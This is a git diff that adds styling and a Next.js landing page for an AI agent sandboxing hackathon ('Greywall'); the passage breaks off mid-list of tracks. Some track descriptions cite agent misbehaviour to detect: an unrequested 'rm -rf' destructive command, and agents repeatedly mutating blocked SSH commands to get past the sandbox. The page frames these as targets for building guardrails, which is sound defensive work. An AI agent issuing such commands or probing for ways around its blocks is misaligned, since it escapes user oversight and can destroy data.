Compare commits
9 Commits
closed-bet
...
hackathon
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
502a1f0a81 | ||
|
|
7e34db2edb | ||
|
|
4964162e5d | ||
|
|
f4c794790c | ||
|
|
232f69f847 | ||
|
|
8ec166590d | ||
|
|
3fd6d63fa3 | ||
|
|
1d814a74e3 | ||
|
|
a4a6dd97c9 |
@@ -196,3 +196,79 @@ section {
|
||||
.scrollbar-hide::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* ─── Aurora gradient background (Stripe-inspired) ─── */
|
||||
@keyframes aurora {
|
||||
0%, 100% { background-position: 0% 50%, 100% 50%, 50% 100%; }
|
||||
33% { background-position: 100% 0%, 0% 100%, 50% 50%; }
|
||||
66% { background-position: 50% 100%, 50% 0%, 0% 50%; }
|
||||
}
|
||||
|
||||
.aurora-bg {
|
||||
background:
|
||||
radial-gradient(ellipse at 20% 50%, rgba(217,94,42,0.12) 0%, transparent 50%),
|
||||
radial-gradient(ellipse at 80% 20%, rgba(217,94,42,0.06) 0%, transparent 50%),
|
||||
radial-gradient(ellipse at 50% 80%, rgba(249,249,247,0.03) 0%, transparent 50%);
|
||||
background-size: 200% 200%, 200% 200%, 200% 200%;
|
||||
animation: aurora 20s ease-in-out infinite;
|
||||
}
|
||||
|
||||
/* ─── Gradient text shimmer ─── */
|
||||
@keyframes gradient-shift {
|
||||
0%, 100% { background-position: 0% center; }
|
||||
50% { background-position: 200% center; }
|
||||
}
|
||||
|
||||
.text-shimmer {
|
||||
background: linear-gradient(90deg, rgb(var(--foreground)) 0%, rgb(var(--primary)) 40%, rgb(var(--foreground)) 80%);
|
||||
background-size: 200% auto;
|
||||
-webkit-background-clip: text;
|
||||
background-clip: text;
|
||||
-webkit-text-fill-color: transparent;
|
||||
animation: gradient-shift 6s ease infinite;
|
||||
}
|
||||
|
||||
/* ─── Dot grid wave (Linear-inspired) ─── */
|
||||
@keyframes dot-pulse {
|
||||
0%, 100% { opacity: 0.08; transform: scale(1); }
|
||||
50% { opacity: 0.5; transform: scale(1.3); }
|
||||
}
|
||||
|
||||
/* ─── Floating animation ─── */
|
||||
@keyframes float {
|
||||
0%, 100% { transform: translateY(0px); }
|
||||
50% { transform: translateY(-8px); }
|
||||
}
|
||||
|
||||
.animate-float {
|
||||
animation: float 4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
/* ─── Card spotlight hover (mouse-tracking glow) ─── */
|
||||
.card-spotlight {
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
.card-spotlight::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(600px circle at var(--mouse-x, 50%) var(--mouse-y, 50%), rgba(217,94,42,0.06), transparent 40%);
|
||||
opacity: 0;
|
||||
transition: opacity 0.3s;
|
||||
pointer-events: none;
|
||||
z-index: 1;
|
||||
}
|
||||
.card-spotlight:hover::before {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
/* ─── Marquee scroll ─── */
|
||||
@keyframes marquee {
|
||||
from { transform: translateX(0); }
|
||||
to { transform: translateX(-50%); }
|
||||
}
|
||||
|
||||
.animate-marquee {
|
||||
animation: marquee 30s linear infinite;
|
||||
}
|
||||
|
||||
747
app/hackathons/page.tsx
Normal file
747
app/hackathons/page.tsx
Normal file
@@ -0,0 +1,747 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef, Suspense, useCallback } from 'react'
|
||||
import dynamic from 'next/dynamic'
|
||||
import {
|
||||
ChevronDown,
|
||||
ArrowRight,
|
||||
Users,
|
||||
Star,
|
||||
MapPin,
|
||||
Eye,
|
||||
Target,
|
||||
AlertTriangle,
|
||||
ShieldAlert,
|
||||
MessageSquare,
|
||||
Crown,
|
||||
FlaskConical,
|
||||
} from 'lucide-react'
|
||||
import { Footer } from '@/components/footer'
|
||||
import { LiveTerminal } from '@/components/hackathons/live-terminal'
|
||||
import { StreamViz, SecureViz, RadarViz, ScanViz, ExtendViz, BenchViz } from '@/components/hackathons/track-visuals'
|
||||
|
||||
const ShieldScene = dynamic(
|
||||
() => import('@/components/hackathons/shield-scene').then((m) => m.ShieldScene),
|
||||
{ ssr: false }
|
||||
)
|
||||
|
||||
/* ─── Hooks ─── */
|
||||
|
||||
function useInView(threshold = 0.15) {
|
||||
const ref = useRef<HTMLDivElement>(null)
|
||||
const [visible, setVisible] = useState(false)
|
||||
useEffect(() => {
|
||||
const el = ref.current
|
||||
if (!el) return
|
||||
const obs = new IntersectionObserver(([e]) => { if (e.isIntersecting) { setVisible(true); obs.unobserve(el) } }, { threshold, rootMargin: '0px 0px -40px 0px' })
|
||||
obs.observe(el)
|
||||
return () => obs.disconnect()
|
||||
}, [threshold])
|
||||
return { ref, visible }
|
||||
}
|
||||
|
||||
|
||||
function useMouseSpotlight() {
|
||||
const ref = useRef<HTMLDivElement>(null)
|
||||
const onMove = useCallback((e: React.MouseEvent) => {
|
||||
const el = ref.current
|
||||
if (!el) return
|
||||
const rect = el.getBoundingClientRect()
|
||||
el.style.setProperty('--mouse-x', `${e.clientX - rect.left}px`)
|
||||
el.style.setProperty('--mouse-y', `${e.clientY - rect.top}px`)
|
||||
}, [])
|
||||
return { ref, onMove }
|
||||
}
|
||||
|
||||
/* ─── Noise overlay ─── */
|
||||
|
||||
function NoiseOverlay() {
|
||||
return (
|
||||
<svg className="fixed inset-0 w-full h-full pointer-events-none z-[100] opacity-[0.025]" aria-hidden>
|
||||
<filter id="grain">
|
||||
<feTurbulence type="fractalNoise" baseFrequency="0.8" numOctaves="4" stitchTiles="stitch" />
|
||||
</filter>
|
||||
<rect width="100%" height="100%" filter="url(#grain)" />
|
||||
</svg>
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/* ─── Nav ─── */
|
||||
|
||||
function Nav() {
|
||||
return (
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<a href="/" className="flex items-center gap-2.5">
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" /><circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" /><circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-lg tracking-tight">Greywall</span>
|
||||
</a>
|
||||
<div className="flex items-center gap-6">
|
||||
<a href="#tracks" className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block">Tracks</a>
|
||||
<a href="#faq" className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block">FAQ</a>
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-sm text-muted-foreground hover:text-foreground transition-colors">
|
||||
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24"><path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" /></svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Hero ─── */
|
||||
|
||||
function Hero() {
|
||||
return (
|
||||
<section className="relative pt-28 sm:pt-40 pb-28 sm:pb-40 px-4 sm:px-6 overflow-hidden">
|
||||
{/* 3D Shield background */}
|
||||
<div className="absolute inset-0 z-0 opacity-60">
|
||||
<Suspense fallback={null}>
|
||||
<ShieldScene />
|
||||
</Suspense>
|
||||
</div>
|
||||
|
||||
{/* Aurora gradient */}
|
||||
<div className="absolute inset-0 z-[1] aurora-bg" />
|
||||
|
||||
{/* Dark overlay for readability */}
|
||||
<div className="absolute inset-0 z-[1] bg-[radial-gradient(ellipse_at_center,rgba(22,22,20,0.3)_0%,rgba(22,22,20,0.75)_70%)]" />
|
||||
<div className="absolute inset-0 z-[1] bg-gradient-to-b from-background/50 via-transparent to-background" />
|
||||
|
||||
<div className="relative z-[2] mx-auto max-w-4xl text-center">
|
||||
<h1 className="font-serif text-6xl sm:text-7xl md:text-8xl font-semibold tracking-tight leading-[1] mb-4 text-shimmer">
|
||||
Hack the Wall.
|
||||
</h1>
|
||||
<p className="text-xl sm:text-2xl text-muted-foreground font-serif mb-10 max-w-2xl mx-auto">
|
||||
AI Safety & Data Sovereignty Hackathon 2026
|
||||
</p>
|
||||
<a
|
||||
href="#tracks"
|
||||
className="group inline-flex items-center gap-2 px-8 py-4 bg-primary text-primary-foreground font-sans font-medium rounded-lg hover:bg-primary/90 transition-all glow-orange text-base hover:shadow-[0_0_30px_rgba(217,94,42,0.3)]"
|
||||
>
|
||||
Explore tracks
|
||||
<ArrowRight className="h-4 w-4 group-hover:translate-x-0.5 transition-transform" />
|
||||
</a>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/* ─── Notify Button ─── */
|
||||
|
||||
function NotifyButton({ className = '' }: { className?: string }) {
|
||||
const [mode, setMode] = useState<'button' | 'form' | 'success'>('button')
|
||||
const [email, setEmail] = useState('')
|
||||
const [submitting, setSubmitting] = useState(false)
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault()
|
||||
if (!email) return
|
||||
setSubmitting(true)
|
||||
try {
|
||||
const formData = new FormData()
|
||||
formData.append('access_key', '9239e4ed-eb6f-4fa2-afdd-f40b9dec25bf')
|
||||
formData.append('email', email)
|
||||
formData.append('subject', 'Hackathon Registration Interest')
|
||||
const response = await fetch('https://api.web3forms.com/submit', {
|
||||
method: 'POST',
|
||||
body: formData,
|
||||
})
|
||||
const data = await response.json()
|
||||
if (data.success) {
|
||||
setMode('success')
|
||||
}
|
||||
} catch {
|
||||
window.location.href = `mailto:hello@greyhaven.co?subject=Hackathon%20Notify&body=Please%20notify%20me%20at%20${encodeURIComponent(email)}`
|
||||
setMode('success')
|
||||
}
|
||||
setSubmitting(false)
|
||||
}
|
||||
|
||||
if (mode === 'success') {
|
||||
return (
|
||||
<div className={`inline-flex items-center gap-2 px-8 py-4 bg-primary/10 border border-primary/20 text-primary font-sans font-medium rounded-lg text-base ${className}`}>
|
||||
You are on the list.
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
if (mode === 'form') {
|
||||
return (
|
||||
<form onSubmit={handleSubmit} className={`inline-flex items-center gap-2 ${className}`}>
|
||||
<input
|
||||
type="email"
|
||||
required
|
||||
placeholder="you@example.com"
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
autoFocus
|
||||
className="px-4 py-3 bg-card/60 border border-border/40 rounded-lg text-sm font-sans text-foreground placeholder:text-muted-foreground/50 focus:outline-none focus:border-primary/50 w-64"
|
||||
/>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={submitting}
|
||||
className="px-6 py-3 bg-primary text-primary-foreground font-sans font-medium rounded-lg hover:bg-primary/90 transition-all text-sm cursor-pointer disabled:opacity-50"
|
||||
>
|
||||
{submitting ? 'Sending...' : 'Notify me'}
|
||||
</button>
|
||||
</form>
|
||||
)
|
||||
}
|
||||
|
||||
return (
|
||||
<button
|
||||
onClick={() => setMode('form')}
|
||||
className={`group inline-flex items-center gap-2 px-8 py-4 bg-primary text-primary-foreground font-sans font-medium rounded-lg hover:bg-primary/90 transition-all glow-orange text-base hover:shadow-[0_0_30px_rgba(217,94,42,0.3)] cursor-pointer ${className}`}
|
||||
>
|
||||
Get notified when registration opens
|
||||
<ArrowRight className="h-4 w-4 group-hover:translate-x-0.5 transition-transform" />
|
||||
</button>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Info Section (Tabbed) ─── */
|
||||
|
||||
const infoTabs = ['Overview', 'Resources', 'Guidelines', 'Schedule'] as const
|
||||
|
||||
function OverviewTab() {
|
||||
return (
|
||||
<div className="space-y-12">
|
||||
{/* Intro */}
|
||||
<div>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed mb-6">
|
||||
The Greywall Hackathon brings together engineers, security professionals, and AI enthusiasts to tackle one of the most urgent open problems: how do we keep AI agents safe when they operate autonomously on real systems?
|
||||
</p>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
Over 48 hours, participants will build guardrails, filters, classifiers, and detection systems that sit on top of{' '}
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greywall</a>,
|
||||
an open-source sandboxing system for AI agents built by{' '}
|
||||
<a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greyhaven</a>.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* What is Sovereign AI? */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-4">What is Sovereign AI?</h3>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
Sovereign AI is the principle that organizations should maintain full control over their AI systems: what they can access, what data they process, and what actions they take. No data leaks, no unauthorized actions, no black boxes. Your AI agents should work for you, within boundaries you define. That is what Greywall enforces, and that is what this hackathon is about extending.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Why this hackathon? */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-4">Why this hackathon?</h3>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
AI agents are getting more powerful and more autonomous every month. But the security tooling has not kept up. There is a real gap between what agents can do and the guardrails available to keep them in check. This hackathon exists to close that gap, and to give talented people a chance to build the tools that the entire industry needs.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Prizes */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-6">Top teams get</h3>
|
||||
<div className="grid sm:grid-cols-3 gap-4">
|
||||
{[
|
||||
{ icon: Crown, title: 'Hall of Fame', sub: 'Featured on greywall.io permanently' },
|
||||
{ icon: Star, title: 'Contributor credit', sub: 'Added as a contributor in the GitHub README' },
|
||||
{ icon: Users, title: 'CEO Dinner Invitation', sub: 'Attend an exclusive Greyhaven CEO dinner for free' },
|
||||
].map((item) => (
|
||||
<div key={item.title} className="text-center p-6 rounded-2xl border border-border/30 bg-card/20 backdrop-blur-sm">
|
||||
<div className="inline-flex items-center justify-center w-12 h-12 rounded-xl bg-primary/10 border border-primary/15 mb-4">
|
||||
<item.icon className="h-5 w-5 text-primary" />
|
||||
</div>
|
||||
<h4 className="font-serif text-base font-semibold mb-1">{item.title}</h4>
|
||||
<p className="text-xs text-muted-foreground font-sans">{item.sub}</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function ResourcesTab() {
|
||||
const articles = [
|
||||
{
|
||||
title: 'The Greyhaven Sovereign AI Framework',
|
||||
url: 'https://greyhaven.co/insights/greyhaven-sovereign-ai-framework',
|
||||
description: 'Our framework for how organizations can maintain sovereignty over their AI systems.',
|
||||
},
|
||||
{
|
||||
title: 'Why We Built Our Own Sandboxing System',
|
||||
url: 'https://greyhaven.co/insights/why-we-built-our-own-sandboxing-system',
|
||||
description: 'The story behind Greywall and why existing solutions were not enough.',
|
||||
},
|
||||
{
|
||||
title: 'Greywall on GitHub',
|
||||
url: 'https://github.com/GreyhavenHQ/greywall',
|
||||
description: 'The open-source codebase you will be building on. Start here.',
|
||||
},
|
||||
{
|
||||
title: 'Greywall Documentation',
|
||||
url: 'https://docs.greywall.io/',
|
||||
description: 'Setup guides, API reference, and architecture docs.',
|
||||
},
|
||||
]
|
||||
|
||||
return (
|
||||
<div className="space-y-4">
|
||||
{articles.map((article) => (
|
||||
<a
|
||||
key={article.title}
|
||||
href={article.url}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="group flex items-start gap-4 p-5 rounded-xl border border-border/30 bg-card/20 hover:bg-card/40 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<div className="flex-1">
|
||||
<h4 className="font-serif text-lg font-semibold mb-1 group-hover:text-primary transition-colors">{article.title}</h4>
|
||||
<p className="text-sm text-muted-foreground font-sans">{article.description}</p>
|
||||
</div>
|
||||
<ArrowRight className="h-4 w-4 text-muted-foreground group-hover:text-primary group-hover:translate-x-0.5 transition-all mt-1.5 shrink-0" />
|
||||
</a>
|
||||
))}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function GuidelinesTab() {
|
||||
const dimensions = [
|
||||
{
|
||||
title: 'Impact Potential & Innovation',
|
||||
question: 'How much would this matter for AI safety if it worked? How innovative is it?',
|
||||
scores: [
|
||||
{ score: 1, desc: 'Negligible. No clear problem addressed, or no meaningful novelty.' },
|
||||
{ score: 2, desc: 'Limited. Addresses a real problem but with a generic or well-trodden approach.' },
|
||||
{ score: 3, desc: 'Moderate. Clear problem with a reasonable approach; some novelty in framing or method.' },
|
||||
{ score: 4, desc: 'Significant. Important problem with an original approach. A valuable contribution others could build on.' },
|
||||
{ score: 5, desc: 'Exceptional. Tackles a critical AI safety problem with a genuinely novel approach. Opens a new direction.' },
|
||||
],
|
||||
},
|
||||
{
|
||||
title: 'Execution Quality',
|
||||
question: 'How sound are methodology, implementation, and findings?',
|
||||
scores: [
|
||||
{ score: 1, desc: 'Seriously flawed. Methodology broken, results uninterpretable, or implementation does not work.' },
|
||||
{ score: 2, desc: 'Weak. Significant gaps: missing validation, flawed experimental design, or incomplete implementation.' },
|
||||
{ score: 3, desc: 'Competent. Technically solid given the short duration. Results are interpretable, limitations acknowledged.' },
|
||||
{ score: 4, desc: 'Strong. Thorough methodology with convincing validation. Immediately useful for future work.' },
|
||||
{ score: 5, desc: 'Exceptional. Ambitious scope executed rigorously. Surprising findings or unusually robust validation.' },
|
||||
],
|
||||
},
|
||||
{
|
||||
title: 'Presentation & Clarity',
|
||||
question: 'How clearly are work, findings, and impact potential communicated?',
|
||||
scores: [
|
||||
{ score: 1, desc: 'Incomprehensible. Cannot determine what the project is actually claiming or doing.' },
|
||||
{ score: 2, desc: 'Hard to follow. Key information buried or missing. Significant effort to extract main points.' },
|
||||
{ score: 3, desc: 'Clear enough. Can understand the problem, approach, and results without undue effort.' },
|
||||
{ score: 4, desc: 'Well presented. Easy to follow, well-structured. Target audience would get it quickly.' },
|
||||
{ score: 5, desc: 'Exceptionally clear. A pleasure to read. Complex ideas made accessible.' },
|
||||
],
|
||||
},
|
||||
]
|
||||
|
||||
return (
|
||||
<div className="space-y-12">
|
||||
{/* Judging Criteria */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-6">Judging Criteria</h3>
|
||||
<div className="space-y-8">
|
||||
{dimensions.map((dim) => (
|
||||
<div key={dim.title} className="rounded-xl border border-border/30 bg-card/20 overflow-hidden">
|
||||
<div className="p-5 border-b border-border/20">
|
||||
<h4 className="font-serif text-lg font-semibold mb-1">{dim.title}</h4>
|
||||
<p className="text-sm text-muted-foreground font-sans">{dim.question}</p>
|
||||
</div>
|
||||
<div className="divide-y divide-border/15">
|
||||
{dim.scores.map((s) => (
|
||||
<div key={s.score} className="flex gap-4 px-5 py-3">
|
||||
<span className="font-sans text-sm font-bold text-primary w-6 shrink-0">{s.score}</span>
|
||||
<p className="text-sm text-muted-foreground font-sans">{s.desc}</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Submission Requirements */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-6">Submission Requirements</h3>
|
||||
<div className="rounded-xl border border-border/30 bg-card/20 p-6 space-y-6">
|
||||
<div>
|
||||
<h4 className="font-serif text-base font-semibold mb-3">A complete submission includes:</h4>
|
||||
<ul className="space-y-2 text-sm text-muted-foreground font-sans">
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>A research report in PDF format</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>A project title and brief abstract (150 words max)</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>Author names for all team members</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>Which challenge track your project addresses</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<h4 className="font-serif text-base font-semibold mb-3">Recommended report structure:</h4>
|
||||
<p className="text-sm text-muted-foreground font-sans mb-3">There is no hard page limit. Most strong submissions are 4-8 pages.</p>
|
||||
<ul className="space-y-2 text-sm text-muted-foreground font-sans">
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Introduction:</span>What problem did you address? Why does it matter?</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Related Work:</span>What existing work does your project build on?</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Methodology:</span>What did you build or test? Enough detail to replicate.</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Results:</span>What did you find? Include quantitative results where possible.</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">Discussion:</span>Implications, limitations, what you would do with more time.</li>
|
||||
<li className="flex gap-2"><span className="text-primary font-semibold">References:</span>Cite relevant prior work.</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<h4 className="font-serif text-base font-semibold mb-3">Important notes:</h4>
|
||||
<ul className="space-y-2 text-sm text-muted-foreground font-sans">
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>You can submit as an individual or as a team</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>You can build on existing work, but you must clearly identify what is new work done during the hackathon</li>
|
||||
<li className="flex gap-2"><span className="text-primary">•</span>Your PDF is not editable or replaceable once submitted</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function ScheduleTab() {
|
||||
return (
|
||||
<div className="text-center py-12 space-y-6">
|
||||
<p className="font-serif text-lg text-muted-foreground">Schedule will be announced soon.</p>
|
||||
<NotifyButton />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function InfoSection() {
|
||||
const [activeTab, setActiveTab] = useState<string>('overview')
|
||||
|
||||
return (
|
||||
<section className="py-16 sm:py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-4xl">
|
||||
{/* Tab navigation */}
|
||||
<div className="flex gap-2 mb-12 justify-center flex-wrap">
|
||||
{infoTabs.map((tab) => (
|
||||
<button
|
||||
key={tab}
|
||||
onClick={() => setActiveTab(tab.toLowerCase())}
|
||||
className={`px-5 py-2 rounded-full text-sm font-sans font-medium transition-all cursor-pointer ${
|
||||
activeTab === tab.toLowerCase()
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'bg-card/40 border border-border/40 text-muted-foreground hover:text-foreground hover:border-border/60'
|
||||
}`}
|
||||
>
|
||||
{tab}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Tab content */}
|
||||
{activeTab === 'overview' && <OverviewTab />}
|
||||
{activeTab === 'resources' && <ResourcesTab />}
|
||||
{activeTab === 'guidelines' && <GuidelinesTab />}
|
||||
{activeTab === 'schedule' && <ScheduleTab />}
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Terminal Showcase ─── */
|
||||
|
||||
function TerminalShowcase() {
|
||||
const { ref, visible } = useInView(0.1)
|
||||
|
||||
return (
|
||||
<section ref={ref} className="py-20 sm:py-28 px-4 sm:px-6 relative overflow-hidden">
|
||||
{/* Background glow behind terminal */}
|
||||
<div className="absolute right-0 top-1/2 -translate-y-1/2 w-[500px] h-[400px] bg-[radial-gradient(ellipse,rgba(217,94,42,0.06),transparent_70%)] blur-2xl pointer-events-none" />
|
||||
|
||||
<div className={`mx-auto max-w-5xl grid md:grid-cols-2 gap-10 items-center transition-all duration-700 ${visible ? 'opacity-100 translate-y-0' : 'opacity-0 translate-y-12'}`}>
|
||||
<div>
|
||||
<p className="text-xs font-sans uppercase tracking-wider text-primary font-medium mb-4">The data stream</p>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Every agent action, in real time.
|
||||
</h2>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greywall</a>'s proxy captures every request, file access, and command your AI agent executes. This is what you'll be building on.
|
||||
</p>
|
||||
</div>
|
||||
<div className="animate-float [animation-duration:6s]">
|
||||
<LiveTerminal />
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Tracks ─── */
|
||||
|
||||
const tracks = [
|
||||
{
|
||||
id: 'pii-filtering',
|
||||
icon: Eye,
|
||||
title: 'PII Filtering',
|
||||
hook: 'Strip sensitive data before it reaches the model, without breaking the task.',
|
||||
color: 'from-orange-500/10 to-amber-500/5',
|
||||
borderColor: 'hover:border-orange-500/30',
|
||||
description: 'Build a Greywall layer that strips PII (names, credit cards, etc.) from data before it reaches the model while still letting the agent complete tasks correctly. You define your own test cases and demonstrate it works.',
|
||||
scoring: 'You bring your own proof. Show it works on real-world data, not just toy examples.',
|
||||
examples: ['Data masking', 'Pattern detection', 'Context-aware redaction', 'Format preservation'],
|
||||
Visual: StreamViz,
|
||||
},
|
||||
{
|
||||
id: 'intent-classifier',
|
||||
icon: Target,
|
||||
title: 'Intent vs. Action Classifier',
|
||||
hook: 'Detect when an agent does something the user never asked for.',
|
||||
color: 'from-emerald-500/10 to-teal-500/5',
|
||||
borderColor: 'hover:border-emerald-500/30',
|
||||
description: 'Build a classifier that sits in the proxy and blocks destructive actions that weren\'t asked for. Some tool calls match the user\'s intent ("delete files starting with 1" results in rm ./1*). Some don\'t ("refactor this module" results in rm -rf everything). You build the test suite that proves it.',
|
||||
scoring: 'Design your own evaluation. Demonstrate it catches real mismatches, not just scripted ones.',
|
||||
examples: ['Heuristics-based', 'ML classifiers', 'Semantic matching', 'Action risk scoring'],
|
||||
Visual: SecureViz,
|
||||
},
|
||||
{
|
||||
id: 'derail-detection',
|
||||
icon: AlertTriangle,
|
||||
title: 'Derail Detection',
|
||||
hook: 'Catch agents that keep trying variations after being blocked.',
|
||||
color: 'from-amber-500/10 to-yellow-500/5',
|
||||
borderColor: 'hover:border-amber-500/30',
|
||||
description: 'Detect when an agent persistently mutates blocked commands, like repeatedly trying SSH variations to find a path through. Build something that spots the pattern and stops or redirects it with an informative message.',
|
||||
scoring: 'Create your own adversarial sessions and prove your detector catches them.',
|
||||
examples: ['Pattern matching', 'Mutation detection', 'Session analysis', 'Auto-redirect'],
|
||||
Visual: RadarViz,
|
||||
},
|
||||
{
|
||||
id: 'antivirus',
|
||||
icon: ShieldAlert,
|
||||
title: 'Malicious Request Detection',
|
||||
hook: 'Scan requests for supply chain attacks and flag them. Fast.',
|
||||
color: 'from-cyan-500/10 to-sky-500/5',
|
||||
borderColor: 'hover:border-cyan-500/30',
|
||||
description: 'Build a guardrail that scans network requests and commands for malicious patterns (e.g. supply chain attacks via NPM packages). You define the threat scenarios and prove detection works without killing latency.',
|
||||
scoring: 'Fastest accurate solution wins. You bring the benchmarks.',
|
||||
examples: ['Request scanning', 'Dependency analysis', 'Threat signatures', 'Low-latency filtering'],
|
||||
Visual: ScanViz,
|
||||
},
|
||||
{
|
||||
id: 'response-rewriting',
|
||||
icon: MessageSquare,
|
||||
title: 'Response Rewriting',
|
||||
hook: 'Turn cryptic block messages into helpful guidance.',
|
||||
color: 'from-violet-500/10 to-purple-500/5',
|
||||
borderColor: 'hover:border-violet-500/30',
|
||||
description: 'When an agent gets blocked, intercept the error and rewrite it to explain why and suggest alternatives, so the agent self-corrects instead of retrying the same thing twenty times.',
|
||||
scoring: 'Demonstrate with real agent sessions that your rewrites actually stop the retry loop.',
|
||||
examples: ['Error interception', 'Context injection', 'Alternative suggestion', 'Loop prevention'],
|
||||
Visual: ExtendViz,
|
||||
},
|
||||
{
|
||||
id: 'control-benchmark',
|
||||
icon: FlaskConical,
|
||||
